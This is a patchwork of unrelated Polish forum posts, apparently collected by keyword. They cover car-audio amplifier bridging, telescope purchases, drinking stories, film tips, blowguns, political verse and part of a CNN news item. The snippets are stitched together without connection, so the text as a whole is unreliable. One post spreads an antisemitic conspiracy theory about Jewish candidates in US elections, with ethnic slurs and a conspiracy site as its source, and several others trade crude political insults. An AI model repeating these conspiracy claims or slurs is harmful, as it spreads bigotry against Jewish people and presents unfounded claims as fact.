Mam nadzieje, że nie uznacie tego posta jako spamu itp. Po prostu na You tube znalazłem jeden z najlepszych utworów granych Solo przez Devina. Jest tak niesamowicie impresywny i ekspresywny jednocześnie, że może człowieka rozwalić od środka... A ten klimat... Bajka. Zwróćcie też uwagę na tekst:)

http://youtube.com/watch?v=399KOnCiUAM

CD PIONEER BEZPOSREDNIO POD TUBE

MAM PYTANKO I CHCE ZAPYTAC LEPSZYCH wyczytalem ze niektore pioneerki co maja 4x50 moga tylne wyjscie jakos zmostlowac i uzyskac podobno 2x50 4 ohm oraz 1x70 2 ohm WIEC JESTEM CIEKAW CZY TO PRAWDA A JESLI TAK TO JAK TO PODLACZYC DO GLOSNIKA 1 CEWKOWEGO ORAZ 2 CEWKOWEGO I CO TYM IDZIE NAPEDZAC CZY PO PROSTU TO BAJKA CHODZ SAM WIDZIELM OBRAZEK W JAKIMS KATALOGU PIONEERKA CO RADYJKO BEZPOSREDNIO PODPIETY POD JAKIEGOS SUBA

zwrotnica

Pawel S.dzieki wielkie za rady.kupie sobie taki filterek a na razie podepne denona pod wyjscie na suba aktywnego z technicsa zobcze jak to bedzie pozdro slipknot 1989

[ Dodano: 2008-08-17, 20:33 ]
Pawel S. podlaczylem tube do denona a potem do technicsa pod 150 hz musze przyznac ze to jest calkiem inna bajka..dales mi do zrozumienia ze nie ma sensu sie bawic w pasywnego:) juz niebawem tylko bedzie przyplyw gotowki skonstruuje jakiegos aktywnego subika na lepszym glosniku niz ten gdn 30 60.wielkie dzieki za pomoc
zamykam temat

soligor, synta, czy...???

Więc po kolei

Skoro interesują Cię głownie DS'ki wybieraj coś z jak największym zwierciadlem, minimum 200mm.

Ad. Acha2 - będzie, uwierz mi

Co do Soligor'a MT800 to sprzęt sprawdzony, zarówno w wizualu jak i w astrofoto (ale z innym montażem). Światłosiła f/4 to bardzo dobra strona tego telpa, tyle że wymaga ona używania naprawdę dobrych, a co za tym idzie drogich okularków.

O montaż dobsona się nie martw Po odrobinie wprawy spokojnie da się nadążyć za planetkami nawet przy powerkach rzędu 300x I właśnie tu widziałbym optymalne dla Ciebie rozwiązanie, bo otrzymujesz telep z dużym lustrem, za stosunkowo niewielkie pieniądze - nie płacisz po prostu za paralektyka.

Dobson ma jeszcze jedną kolosalną zaletę - prędkość namierzania objektów - to po prostu bajka Nie musisz nakręcić się mikroruchami, pokrętłami itp tylko łapiesz za tubę, zerkasz w szukacz i wszystko staje się proste Naprawdę baaajka

Za 2000 możesz kupić aktualnie Taurusa 250 na allegro, a jak dołożysz do 3200 to Meade LB 12" w wersji Deluxe (też jest teraz wystawiony). Jeśli się nie wyrobisz do końca aukcji (LB - 12 dni, Taurus - 9) pozostanie Ci tradycyjna Synta 200/1200 lub coś z Meade'a np LB 10"

Zawsze też możesz wpaść na zlocik (aktualnie najbliższy to 16-18 marca w Roztokach Górnych) i sam ocenisz co jest dla Ciebie najlepsze, a tam będziesz miał duużo sprzętu do porównania

Tak ode mnie

Pozdrawiam,
Seba

Jaki teleskop kupić za max. 1200 zł?

Cytat:Prosze o radę jaki teleskop zakupic. Nigdy nie oglądałem nieba przez teleskop a chciałbym sobie zakupic taki aby na początek móc pozwiedzać niebo. Mój wybór padł między Orion Observer 70mm EQ, Soligot MT-910 lub Orion SkyQuest XT6. Pragnę poświęcić na ten cel 1200 zł jednak nie znam się na parametrach telesków i nie wiem co wybrać i na co zwrócić uwagę. Prosze o pomoc. Acha i jaszecze jedno co to jest ta kolimacja?



Jak wspomniał Mirek, XT-6 jest zdecydowanie najlepszym wyborem, jednak montaż Dobsona bardzo ogranicza obserwacje okienno-balkonowe co powinienieś brać pod uwagę jeżeli nie dysponujesz np. tarasem, czy ogrodem z którego mógłbyś obserwować. Jeżeli jednak masz odpowiednie warunki, to bierz go w ciemno, bo za tę kasę nic lepszego raczej nie znajdziesz. I jeszcze zostaną Ci dwie stówy na dodatkowe okularki

Z pozostałych dwóch teleskopów lepszym wyborem będzie MT-910, nie tylko ze względu na większe mozliwości w stosunku do Observera, ale i też dlatego że ma dosyć solidny montaż jak na ten teleskop. Nie jest to może jakas rewelka, ale za jakiś czas kiedy zachce Ci się czegoś większego, to możesz spokojnie zawiesić na tym montażu np. tubę od MT-800, bez wymiany całego teleskopu. Oczywiście takie rozwiązanie będzie dobre tylko do wizuala. Astro-foto to już zupełnie inna bajka

Nie chcecie więcej pierdolić się z tymi podatkami? - GŁOSUJCIE NA UPR!

Cytat:

za zagrożenie dla społeczeństwa. I też się ich zamyka tylko zazwyczaj
wypuszcza lekką ręką, ale to inna bajka.



na czym to zagrozenie polega? i czym sie rozni od tego do ktorego link
na you tube prowadzi (w stopce)

Twoja osobista przygoda z alkoholem

2. Po co Ty po niego sięgasz? I w jakich sytuacjach?
3. I czy miałeś kiedyś jakieś przykre w skutkach/być może głupawo-radosne przeżycie pod jego wpływem? Jak się to skończyło?
4. I czy nauczyło Cię to czegoś?
5. A może alkohol jest dla Ciebie wyznacznikiem dobrej zabawy? Jeżeli tak, masz jakieś ciekawe, warte odnotowania, momenty pod wpływem tej używki?

add.2 Bo lubię, smakuje mi, lubie się rozluźnić

add.3

Tego to wymieniać i wymieniać. Najpoważniejsze to:
- pobyt w Policyjnej izbie zatrzymań na czas 30~ godzin i zarządzone ograniczenie wolności na 30 dni + prace społeczne
- Izba wytrzeźwień, 250 opłaty hotelowej i 150 mandatu

Samymi mandatami mógłbym wytapetować łazienkę wiec ich nawet nie liczę

add.4 Tak - nie upijać się zbyt mocno, nie robić tego w miejscach publicznych, nie pić z niewiadomego źródła, nie pić z towarzystwem którego nie jest się pewnym

add.5 Tak, jest wyznacznikiem, nie wyobrażam sobie dobrej imprezy/koncertu/wyjscia na miasto bez przyjęcia paru jednostek alkoholu, czuje się po prostu lepiej, luźniej, mogę odpocząć po szkole/robocie/ciężkim dniu, towarzystwo innych osób łatwiej mi przychodzi, a dobrych, zabawnych rzeczy było przy tym od groma. Jeśli nie piję to znaczy że gram w piłkę jeźdżę na rowerze albo coś w tym stylu :)

Ogólnie mówiąc, moja przygoda z alkoholem rozpoczęła się w czasach kiedy powinienem oglądać bajki i chodzić spać po 20,30. Była to taka zajawa dla mnie i reszty gówniarzy z osiedla. Kupowało się poprzez pośrednictwo menela jakieś wyroby, szło się na miejscówkę i upijało się, dzieciak upajał się samą świadomością picia. Czy to był bunt, cholera wie. Przez cały okres gimnazjum piło się na umór, co popadnie, z kim, i gdzie. Wina proste, wóda, no byle się upić. Paradoksalnie jak byłem smrodem to piłem wódę, bo szybciej klepała i nie trzeba było dużo jej nosić. Teraz preferuję piwo i to jest 90% tego co piję. Dopiero okres liceum przyniósł mi takie no opanowanie w piciu. Większa kultura, mniej żywiołu, upijania się do rzygania na 4 strony świata, w przypadkowych miejscach. Obecnie piję dosyć często, ale dla samego picia, bo lubię smak danego alkoholu, lubię posiedzieć i pogadać ze znajomymi, wypić pół litra dobrej wiśniowej wódki i iść na koncert, zamówić 3 litrową tubę piwa w pubie i gadać przez kilka godzin. Alkohol stał się rolą pomocniczą, akcentem. A nie głównym bohaterem, jak kiedyś :)

Niektórzy mogą uznać to za patologię, ale takich było 80-90% moich znajomych, nie wychowywałem się w modelowych osiedlach gdzie ludzie jak pierdzą to fiołkami. ^^ Takie życie.

A to mój złom :/

Prawie nic za to nie zapłacilem:) potrzene ci bedzie karka A4 papieru fotograficznego skaner drukarka i troche roboty a co do podswietlania to juz inna bajka ja akurat mialem tube diodowa na alegro mozna tanio kupic

WSZYSTKO o pierwszym tańcu - jaka piosenka? co radzicie? itp

siedze na you tube i nie wiem co zrobić.
każda disneyowka bajka ma piekną wolną piosenkę.
i wiem, że napewno nie chce jakiejś innej, ale jest taki wybór...
piekna i bestia, król lew, pokachontas, śpiąca królewna... mogę wymieniac bez końca...

Kto zna fajne filmy?

Ja od siebie-choć od dawna filmów juz nie oglądam -polecam poniższe:

"Jabłka Adama"-duńska czarna komedia, naprawdę dobrze zrobiona,
opowiada o nacjonaliście, który trafia w ramach resocjalizacji na "kojotowe zakuprze", a dokładnie do kościoła,w którym pod skrzydłami ekscentrycznego duchownegoo przebywa jeszcze były tenisista i terrorysta. nieopodal rośnie jabłonka, a że każdy ma jakiś wyznaczony cel, Adam-nacjonalista dostaje za zadanie opiekowanie się jabłonką, a po dojrzeniu owoców, sporządzenie szarlotki...
brzmi głupio i nudno?-a nie jest takie zapewniam

polecam filmy JARMUSCHA jak np. "Noc na Ziemi"-ukazuje relacje taksówkarz-pasażer w kilku różnych miejscach na globie

co jeszcze?...hmm produkcje a'la Quentin Tarantino:
"Pulp Fiction", "Jackie Brown", "Fargo","Reservoir Dogs","Kill Bill"(ale po kolei vol1,2 bo przyznam 2 jest mdła jak nie zna sie wątku)"Four Rooms"....etc.

"Pięknu Umysl" (beautiful mind)
"Aaltra"-czytałam recenzję i powinna być ciekawa, o dwóch nieprzyjaciołach, którzy na wózkach inwalidzkich jadą do jakiegos miasta...nie pamiętam bo piszę na "żywca"
"Misja"-większość pewnie zna Misję, stary i naprawdę świetny film

jak ktoś lubi bajki to powinien zainteresować się panem Hayao Miyazaki:
"Spirited Away"-(W krainie Bogów)
"Tonari no Totoro"-(mój siąsiad Totoro)

poza tym polecam "Vampire Hunter D", "Blood II-the last vampire"

dla lubiących krótkie filmiki:

skecze Karla Valentina na You Tube

Little Britain-heh-odcinek to kilka róznych scen z tymi samymi aktorami jako inne postacie-świetne:)

Zmiana multi i/lub pieca na lepszy

To dokładasz Ibanez'a Tube King'a i masz przestery jak z bajki.

O wszystkim

hahahah "wlatcy móch" dobrze napisała to jest taka bajka z mało inteligentnymi tekstami. Wejdź na you tube i wpisz "włatcy móch" i obejrzyj z jedno. No jest fajne ale na dłuższą mete nei moge tego słuchać..

Ostatni jednorożec

Cytat:zobaczyłam na You tube teledysk zrobiony z tej bajki do muzyki Loreen McKennitt


Ach cudnie on pasował do tej wspaniałej muzy...

(do)Wolny temat

Skończyła się już po temacie o Chinach fajna zabawa na politycznym to znalazłem nowy fajny sposób na nietypowe i nienudne gadki o polityce. Prowokować na You Tube zwolenników Cejrowskiego i JKM. Bajka xD! 5 minut i kolejna konserwa liberalna wychodzi ze swoimi teoriami.

Ba Ba Ba

Cytat:nie wiem You Tube ją rozpikselował.


Ej u mnie jej nie rozpikselowuje

No mnie w sumie bawi abstrakcja ale na bajkach dla dzieci też dobrze się bawię bo to mój poziom

Instrumenty - Marzę o tym, miałem/am, mam, będę mieć

Tak sobie czytam i czytam.... Pozwolicie, ze sie wtrącę w te rozważania sprzętowe.
Gitara, mandolina, bassówka, flet, harmonia, jest tego albo innego producenta.
Z bębnami jest ciut inaczej. Mianowicie bęben jako jedność składa sie z kilku, zazwyczaj z trzech składników. A są to: tuba i dwa naciagi, górny i dolny. (chyba że dywagujemy o bębnie orkiestrowym gdzie naciągi są prawy i lewy )
Wracając do sedna, na tubę mamy wpływ tylko w momencie kupna, natomiast co do naciagów mamy duże pole do popisu zarówno na wybór producenta jak i na strój naciagu. I tu zaczyna się bajka. Zaczniemy od "drewienka" , Tama, Yamaha, DW, Pearl, Mapex, Premier, Ludwig, to wiodące światowe firmy perkusyjne.
Sam jestem posiadaczem bębnów firmy DW serii Pacific. Naciągi to Aquariany, równiez made in USA. Zabawa zaczyna sie przy strojeniu bebnów. Podstawowy zestaw to beben basowy tzw. stopa, werbel - ten ze spreżynami, no i 3 tom-tomy. z czego kazdy z racji na różne srednice i głębokość, posiada różne wysokosci dźwieków. Stroić można na wiele sposobów, w zależnosci od potrzeb: studio, scena duża, scena mała, na sucho, z nagłosnieniem. to tak po krótce o bębnach. Teraz talerze... Albo jak kto woli czynele.
Talerzyków też jest "łogromny" wybór. (nie to co za komuny i we wczesnej demokracji).
Takie firmy jak: Zildjian, Paiste, Sabian, Mainl, Istanbul, Alchemy, zdominowały świat perkusistów i wiele modeli oferowanych przez te firmy stało się prawie kultowymi "blachami". Min. Firmy Zildjian 20'' Dark Crash serii K Custom.
Mój skromny zestawik kompletuję już cztery lata i jeszcze czekają mnie zakupy 2 blaszek.
Dość ważną sprawą poprawiającą komfort grania jest sztywny i stabilny hardwarre, czyli to ciężkie żelażtwo, na którym wisi to wszystko. Kazdy bębniarz to zarazem zespołowy tragarz, obładowany jakimiś dziwnymi torbami i zawsze spocony już przed koncertem.
Ale wtedy z pomoca przychodzi zimne i jeszcze Jakoś trzeba uzupełniać płyny. Ok odbiegłem od tematu. To koniec .
Marzenia sprzętowe??? wiadomo każdy ma takowe. Ja też, ale nie zapeszam bo LOTTO nie śpi i nasłuchuje...

Pozdrawiam i jak coś poplątałem w zeznaniach to proszę o korektę. Za przeproszeniem, ale chętnie ustosunkuję się do uwag i polemik.

Chip Tuning w Masters Tuning Wasze opinie

Naprawde jest to mozliwe na suchym asfalcie i nie lysych oponach ??? Przy stalym napedzie na cztery kola ??? Jeden, dwa rozumiem ale 3 to juz troche dla mnie bajka zreszta wrzuć filmik na You Tube mysle ze bedzie duza ogladalnosc hehe

Dmuchawki

Gregg

A blowgun or blowpipe is a simple weapon consisting of a small tube for firing light projectiles, or darts. The wielder blows into one end, forcing the dart out the other.

Sometimes, for increased effectiveness, the dart is tipped with a poison, most famously curare.

Many cultures have used this weapon, but various indigenous rain forest tribes in South America and South East Asia are the best known wielders. Blowguns are very rarely used by these tribes as actual weapons, they are used primarily to hunt small game such as monkeys.

Also, North American Cherokees were known for making blowguns out of river cane to supplement their diet with rabbits and other small creatures.

Today's modern man uses the blowgun with tranquilizer darts to help maintain today's wildlife. Herpetologists find the blowgun extremely useful in capturing elusive lizards with stun darts. Today, many people are finding that blowguns offer quite a challenging sport. With different darts to choose from, blowguns are finding their way into everyday society. With the introduction of paintballs and stun darts, the blowgun offers a wide variety of sporting activities.

Some modern blowguns have removable sections, and as a result, paintball adaptors have been made so that people can use blowguns as back up weapons. Some may even play it similarly to slingshot paintball.

Wybaczcie ale nie chce mi sie calego tekstu tlumaczyc teraz wiec tylko podsumuje.
Reasumujac dmuchawka przydaje sie tylko do eliminowania malych celow tak jak wynika z artykulu zajace, male malpy, jaszczurki itp. Skoro to jest taka super fajna i zabojcza bron to czemu polujac na np. slonie uwywaja lukow lub wloczni? Odpowiedz jest prosta, poniewaz ta cala historia ze snajperami walacymi z dmuchwek po oczach to bajka.

Pozdrawiam
Pelzak

EDIT: Tutaj jeszcze link do strony jakiegos maniaka dmuchawek http://www.geocities.com/blowgunhunter/

Zabawna i pouczająca historia pewnego zdarzenia na FSK...

Na Forum Szkła Kontaktowego.

~Dziadek_Kociuba napisał piękny wiersz:

    Gdy miałem jeszcze czysty,
    choć mglisty wizerunek,
    złożyłem wyrazisty,
    braterski swój meldunek.

    Ten fakt stan rzeczy zmienia,
    nie szczędząc mi frasunku,
    i kładzie smugę cienia
    na moim wizerunku.

    Wtem kot palący fajkę,
    obwieścił na pustkowiu,
    nieprawomyślną bajkę
    o trunkach i o zdrowiu.

    Ten fakt stan rzeczy zmienia,
    nie szczędząc mi frasunku,
    i kładzie smugę cienia
    na moim wizerunku.

    Poprawę wizerunku
    szatani inni wzięli
    przy ruskim posterunku,
    w Tyflisie i w Brukseli.

    Ten fakt stan rzeczy zmienia,
    nie szczędząc mi frasunku,
    i kładzie smugę cienia
    na moim wizerunku.

    Nadużywanie weta
    niewiele mi pomoże,
    ni sługa Pinocheta,
    ni orlenowski orzeł.

    Ten fakt stan rzeczy zmienia,
    nie szczędząc mi frasunku,
    i kładzie smugę cienia
    na moim wizerunku.

    "Nie czyńmy więcej wojny,
    nie okazujmy buty" -
    popłynął głos spokojny
    z krakowskiej Nowej Huty.

    Ten fakt stan rzeczy zmienia,
    negując przeszłe lata,
    rozciąga smugę cienia
    na wizerunek brata.
Reakcja zwolenników PiS-u była następująca:

~Bóg napisał (cytuję z pamięci, wątek zdjęła ceznura):

    Wziąłem g..no, po brzegi napełniłem tubę,
    stworzyłem: PO, Tuska i ...Dziadka_Kociubę!
Wątek przez kilka godzin znajdował się na szczycie forum, co chwilę dopisywali się do niego zwolennicy PiS-u z peanami i zachwytami nad geniuszem autora repliki. Aż wreszcie, po kilku godzinach:

~Bóg napisał (cytuję również z pamięci):

    Ale przez nieuwagę nie wyszły mi próby
    bo g..no przypadkowo wylało się z tuby.
    Wziąłem zatem ponownie nową, czystą tubę,
    stworzyłem: PO, Tuska i Dziadka_Kociubę.
    G..nem, co pozostało, w drodze kompromisu,
    posmarowałem mózgi zwolennikom PiS-u!
Po kwadransie cenzura zdjęła z forum cały wątek.

Zydowscy kandydaci przezynaja wybory w Stanach

Natychmiast po przeczytaniu Twojego postu Kumpelku, kliknelam na lajdackie po polsku pisane websity, i cisza. Lajdaki maja widac cykora, obawiaja sie rzeszowskich kopistow , tymbardziej, ze protestujacych w gardlowej sprawie.
Obecnie zapewne nie kwikna nawet slowkiem, ale kto wie, czy nie obrodzilo nasladowcami w terenie?

Przeczytalam uwaznie proroctwa Jackowskiego. Nie ksiezycem sa natchnione, blizej im do "nieba". Ameryka rozwala sie na przekor "kwestii taktyki" i realizowanym, wymarzonym - wykupom, wiec na gwalt poszukiwany jest "zawor bezpiecznstwa", a lojalnosc, szczegolnie w potrzebie to bajka wciskana dla glupich.

Przed chwila zapoznalam sie z ciekawym tekstem na Prison Planet. Pisza, ze Clintonowa probowala wytrikowac zidostwo, dlatego ustapila bambonistom. Szpetnie podpadla Emanuelowi w czasie kadencji Bilcia, a obecnie przy Osamie, to kaliber mega -power. Saksofoniarz awansowal go na wplywowego zausznika, a Clintonowa wygryzla ta "tube" do uszu malzonka. I zostalo jej to z zapapmietane. Wiec kobiece wodze w B.D, sa jak najbardziej przewidywalne., zakladajac, ze powersi zmienia most.
Chociaz i napawaja mnie watpliwosci, bo ktory z wiodacych liderow swiatowych pokocha - wasalizm?
Putin, nie jest kochany przez oligarchow, wiec jak nie obala, to szlaban sie nie podniesie. Smocza Jama predzej udzieli azylu Mogabe, bo filozofia Konfunjusza robi kariere w partyjnym Pekinie. A moze tak Iran zmieni swiatopoglad i doceni zwinne paluszki tulaczy? Przystan to zagadka?

To co lajadctwo oznajmia na temat Giertycha, to mi za uszami splywa. Swiadczy to tylko o tym, ze doszli do wniosku, ze Giertych zaczyna powaznie im zagrazac, dlatego jad im z pyska - pryska. Szmajdzinski to zjednoczony kaczyzm, ktory przetasowuje zaloge pomiedzy samymi swoimi.

Sonda na temat malowania motocykla

zauwazylem na you tube, ze rzeczywiscie ghost rider mial suzuki gsxr z wersji k1-k3 tyle, ze nie wime jaka pojemnosc ii calutkie czarne... wg mnie to jest bajka kolor dla tego moto

SATAN!!!! 666

pfff właśnie naciskałem ciągle odśwież nic to nie daje TO JEST BAJKA

chyba że trzeba mieć innego service packa do windowsa XP dodatkowo zmienić styl windows na klasyczny

btw. reset pomoże

ALBO

odświeżać na angielskim you tube!

Krecik odbiera poród

wedlug mnie dobry pomysl,zeby to ukazac w bajce. W sumie to jak wytlumaczyc dziecku skąd dziecko wychodzi? Zawsze sie zastanawialam co ja swojemu dziecku na ten temat powiem. I teraz juz wiem. W odpowiednim momencie wlączę you tube z krecikiem

Dob 10"": Synta vs LB - różnica w cenie=różnica w jakości ??

W kwestii kratownicowej Synty 10" to chciałbym powiedzieć (jako jej użytkownik) że:
1. rozwiązanie kratownicowe jest naprawdę skuteczne i nie uważam za zasadne obawy, że ta konstrukcja szybko się rozleci. Całość wygląda solidnie, działa jak należy i póki co żadnych luzów czy niepokojących objawów nie zauważyłem. Tak jak Janusz zauważył, tuba na pewno jest trochę cięższa niż standardowa, ale nie aż tak strasznie, że nie można wziąść tuby w jedną rękę
2. transport tej nowej Synty w porównaniu do transportu zwykłego dobsona to po prostu bajka. Złożona tuba mieści się spokojnie w pozycji pionowej na tylnim siedzeniu mojego Scenica pomiędzy dwoma fotelikami dla dzieci I już... Poprzednią tubę od 8" musiałem wpasowywać na tylniej półce, co zajmowało trochę czasu i powodowało ciut szarpaniny. Montaż ładujemy do bagażnika razem ze stołkiem, walizeczka ze sprzętem na podłogę i spokojnie mogę jechać z resztą rodziny (w sumie 4 osoby) na wypad poza miasto Oczywiście tuba jeździ zapięta w pasach:))
3. Zaskoczyła mnie prostota kolimacji. W zwykłej Syncie 8" miałem z tym trochę gimnastyki, raz że musiałem do tego dojść sam, dwa, że jakoś tak ciężko się to robiło.... W tej Syncie to sama przyjemność.
4. W kwestii składania zestawu to tu bym dał minus, ponieważ przy skręcaniu bardzo łatwo można uszkodzić nacięcia w łebkach śrub. Tego nie było, jak składałem poprzednią Syntę.
5. Synta kratownicowa, dzięki temu że jest złożona zajmuje dużo mniejszą wysokość niż poprzedniczka, czym zyskała już sobie u moich znajomych określenia typu "pralka", czy "perkusja"
6. Z tego co widziałem na forum, to przygotowanie dobsona LB do obserwacji wymaga jednak trochę pracy. Myślę, że pod względem przewaga jest po stronie SW, bo po prostu odkręcam "uszy", zdejmuje tubę, znoszę całość na dwa razy do auta a potem po przyjeździe w docelowe miejsce w mig składam całość. Proste i banalne.
7. Nie mam na razie możliwości "organoleptycznego" sprawdzenia LB, ale myślę, że już niedługo do tego dojdzie i wtedy na pewno coś jeszcze będę mógł dodać...

PS. Mam tylko pytanie, czy można gdzieś kupić taki "fartuszek" do Synty?? Jeśli w ogóle ktoś to wymyślił

Osiem Pieczęci

*< Korytarz, jaki tworzyły wysokie ściany z żywopłotu, ciągnął się niemiłosiernie a drewniane drzwi, pojawiające się po obu jego stronach co parędziesiąt metrów, dodawały nieco bajkowego charakteru . To jednak nie była bajka. Maczer przechadzając się korytarzem wiedział, że takie miejsce istnieje naprawdę. Był tam jeszcze nie tak dawno temu. Problem tylko w tym... że znajduje się ono na Shiroue. Anioł zatrzymał się i obrócił się w prawo. Przed nim znajdywały się drzwi praktycznie niczym nie różniące się od pozostałych. Jednak wyryty na nich napis "ogród 71" rozwiał wszelkie jego wątpliwości. Śnił o tym co wydarzyło się tuż przed podróżą do Advarku. Pchnął zatem drzwi i śmiało postąpił naprzód. Tym razem jednak nie zdziwił się widząc wnętrze pomieszczenia. Wiedział już, że pod niepozorną nazwą ogród kryło się coś co z powodzeniem można by nazwać magiczną zbrojownią>

-Stawiam się zgodnie z poleceniem-usłyszał swój głos. Z cienia wyłonił się mały krępy osobnik. Trzymał on w rękach tubę w geście nie pozostawiającym cienia wątpliwości iż ona będzie głównym tematem rozmowy
-Witaj najwyższy kapłanie. Powiedziano nam, że wybywasz na podróż więc postanowiliśmy skorzystać z sytuacji i dać do wypróbowania w polu nasze najnowsze dziecię- Uniósł tubę w stronę Maczera.
-Yhm- Przytaknął - Cała przyjemność po mojej stronie.

<Przyjął tubę i odkręcił jej wieczko jednym ruchem. W środku zobaczył rękojeść i okrągły ochraniacz ściśle przylegający do ścianki tuby. Zaczął wyciągać powoli broń ale ostrze biło takim blaskiem, że oślepiło anioła>*

...

...

...

Złośliwe promienie słońca znalazły drogę między zasłonami tak, że akurat padały na oczy Maczera. Ten szybko oprzytomniał i pociągnął ręką do której miał przywiązaną na noc tubę. Opakowanie radośnie wskoczyło mu do rąk. Kapłan szybko sprawdził zawartość i zarzucił tubę na plecy
-Wzmacniane włókno szklane... ciekawy pomysł - powiedział do siebie - Dobra. Czas na nas.
Podszedł najpierw do Symuel. Powinna już się powoli budzić ale... w końcu jest to tylko dziecko. Ponadto użyła ostatnio dużo mocy więc fakt, że jeszcze śpi nie był zbytnio zaskakujący. Brujah... Tak go chyba przedstawiono....co? Maczer szybkim ruchem odskoczył do tyłu sięgając po umocowany do paska mały toporek. Zabójca jednak nie drgnął.
-No ładnie.... Nie sądzę aby ktoś z nas tak słabo Cię przewiązał więc strzelam, że sam to zrobiłeś- powiedział z uśmiechem na co Brujah tylko usiadł na łóżku a pętla z jego rąk spłynęła na podłogę.- Tak….. chyba pomyliłem się co do Twoich umiejętności.... To nawet dobrze bo ktoś będzie musiał pilnować śpiącą królewnę. -Zabójca łypnął tylko parę razy oczami.- A... i znalazłem jeszcze "to". Może Ci się przydać.

Przy łóżku znajdywały się dwa kije które bez trudności posłużyć by mogły za kule. Anioł zabrał swój plecak i tubę poczym wziął śpiącą dziewczynę na ramiona i cała trójka wyszła na umówione miejsce. Znużona Marika już na nich czekała siedząc na swojej torbie.

-Dasz sobie z tym radę? Czy mam sprawdzić zawartość i wyrzucić co niepotrzebne?
-Dam, dam - odpowiedziała widać jeszcze trochę nieprzytomnie
-Świetnie. A zatem ruszamy zanim tamten koleś na dachu strzeli któremuś z nas bełta w plecy

I tak też uczynili. Maczer był właściwie spokojny. Ów osobnik na dachu raczej nie należał do gildii. Był po prostu śmieszny próbując się zakraść. Prawdopodobnie to ktoś z miejscowych pilnował aby sprawcy kłopotów już sobie poszli. Brujah natomiast nie mógł za bardzo zabić kapłana Psiej Ligi odkąd był on najszybszą drogą do odnalezienia Windukinda i Hiroku.

-Będzie dobrze- Pomyślał jeszcze Maczer kiedy opuścili umowną granicę miasta Marina

<i>-----------------
Edit: kosmetyczne poprawki </i>

Zabawna i pouczająca historia pewnego zdarzenia na FSK...

Muzo, wspomóż mnie, proszę, i dodaj mi siły
Niech się proza w wersety rymowane zmienia
Aby wątek, tak bardzo poetom niemiły
Mógł w "Poezji szkiełkowych" mieć prawo istnienia...

Czytam w sieci dziesiątki wierszy różnych osób
Lecz do Dziadka_Kociuby mam sentyment dawny
Za to, jak On potrafi w perfekcyjny sposób
Oddać sens, cel i morał - mocny i zabawny...

Aby próżno nie gadać i też mieć pociechę
Chciałbym przykład takiego wiersza zacytować
Nie zmieniłem ni słowa, byłoby to grzechem
Każdy może opinię własną wypracować:

    ~Dziadek_Kociuba napisał:

    Gdy miałem jeszcze czysty,
    choć mglisty wizerunek,
    złożyłem wyrazisty,
    braterski swój meldunek.

    Ten fakt stan rzeczy zmienia,
    nie szczędząc mi frasunku,
    i kładzie smugę cienia
    na moim wizerunku.

    Wtem kot palący fajkę,
    obwieścił na pustkowiu,
    nieprawomyślną bajkę
    o trunkach i o zdrowiu.

    Ten fakt stan rzeczy zmienia,
    nie szczędząc mi frasunku,
    i kładzie smugę cienia
    na moim wizerunku.

    Poprawę wizerunku
    szatani inni wzięli
    przy ruskim posterunku,
    w Tyflisie i w Brukseli.

    Ten fakt stan rzeczy zmienia,
    nie szczędząc mi frasunku,
    i kładzie smugę cienia
    na moim wizerunku.

    Nadużywanie weta
    niewiele mi pomoże,
    ni sługa Pinocheta,
    ni orlenowski orzeł.

    Ten fakt stan rzeczy zmienia,
    nie szczędząc mi frasunku,
    i kładzie smugę cienia
    na moim wizerunku.

    "Nie czyńmy więcej wojny,
    nie okazujmy buty" -
    popłynął głos spokojny
    z krakowskiej Nowej Huty.

    Ten fakt stan rzeczy zmienia,
    negując przeszłe lata,
    rozciąga smugę cienia
    na wizerunek brata.
Wiersz nie wszystkim się wydał słuszny ideowo
Oprócz słów zachwyconych, była i krytyka
Autor głosu nie zabrał, lecz napisał słowo
W innym wątku, co czasem prostacko dotyka...

Jeden z takich "przejętych" i niskiej kultury
Post napisał króciutki lecz dosyć soczysty
Odtworzyłem z pamięci, zastrzegam się z góry
Zamieniłem też słowo na wyraz przejrzysty:

    ~Bóg napisał (cytuję z pamięci, wątek zdjęła ceznura):

    Wziąłem błoto [----], po brzegi napełniłem tubę,
    stworzyłem: PO, Tuska i ...Dziadka_Kociubę!

    [----] - ingerencja moja w treść, bez zgody autora cytowanego tekstu.
Wątek wzbudził entuzjam dla grona pewnego
Kilka godzin na szczycie bez przerwy przebywał
Wśród zachwytów, peanów, uznania wielkiego
Autor chyba z zachwytu pod chmury wzlatywał...

Kilka godzin to trwało, cenzura milczała
Widać nie przeszkadzało słowo dosyć mocne
Kiedy nagle się jedna wiersza zwrotka mała
Ukazała by zniszczyć to dzieło owocne:

    ~Bóg napisał (cytuję również z pamięci):

    Ale przez nieuwagę nie wyszły mi próby
    bo błoto [----] przypadkowo wylało się z tuby.
    Wziąłem zatem ponownie nową, czystą tubę,
    stworzyłem: PO, Tuska i Dziadka_Kociubę.
    Błotem [----], co pozostało, w drodze kompromisu,
    posmarowałem mózgi zwolennikom PiS-u!

    [----] - ingerencja moja w treść, bez zgody autora cytowanego tekstu.
Po kwadransie cenzura zdjęła cały wątek
Nie, by pisać, że autor jest przestępstwa winnym
Widać komuś udało się piękny początek
Zmienić w koszmar tych, którzy chcą dokuczać innym...

Aby mnie nie posądzać, że coś tu maskuję
Gdy zmieniłem na wierszyk regulaminowy
Post, co prozą pisany - wszystkich informuję -
Jest na końcu w tym wątku bez zmiany, gotowy...

Reklama Łodzi w CNN

Trzy minuty Łodzi w CNN

Grzegorz Blachowski
2008-10-06, ostatnia aktualizacja 2008-10-06 19:42

Reportaż o "Szybkich i wściekłych" zadebiutował w CNN. W roli głównej: szybkie samochody, kilku automaniaków, widzewskie Tesco i... nic więcej

"Szybcy i wściekli" to reportaż, dzięki któremu Łódź objawiła się w CNN International. Szansę na to miała wczoraj, dzięki pierwszej odsłonie programu "Eye on Poland" ("Oko na Polskę"). To cały tydzień reportaży i programów o polskich miastach. - Żadne medium światowe nie poświęciło tyle uwagi Polsce. Codziennie będą się pojawiać godzinne relacje o naszym kraju. Programy na żywo poprowadzą najbardziej znani prezenterzy stacji, którzy przyjadą prosto z Atlanty - mówi nasz informator.

Wczoraj, pierwszego dnia "tygodnia polskiego", światu pokazała się właśnie Łódź. Dość nietypowo, bo bez Manufaktury, łódzkich zabytków, szkoły filmowej czy muzeum...

